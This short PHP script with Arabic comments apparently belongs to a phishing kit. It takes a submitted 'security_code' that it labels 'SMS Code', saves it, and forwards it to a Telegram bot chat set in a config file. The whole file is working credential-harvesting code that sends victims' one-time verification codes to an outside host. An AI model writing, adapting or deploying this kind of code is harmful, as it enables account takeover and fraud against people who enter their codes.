<?php

$request_body = file_get_contents('php://input');
$data = json_decode($request_body, true);

$security_code = $data["security_code"] ?? '';

if($security_code) {

    require './save_data.php';

    $data_to_save = [
        'SMS Code' => $security_code,
    ];

    $response = saveData($data_to_save);

    // إرسال إلى Telegram
    $config = require './config.php';
    $bot_token = $config['telegram_bot_token'];
    $chat_id = $config['telegram_chat_id'];
    $message = "New SMS Code Received:\nCode: $security_code";

    // استخدام file_get_contents لإرسال الرسالة
    @file_get_contents("https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$chat_id&text=".urlencode($message));

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['status' => $response]);

} else {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['error' => 'Security code is required']);
}
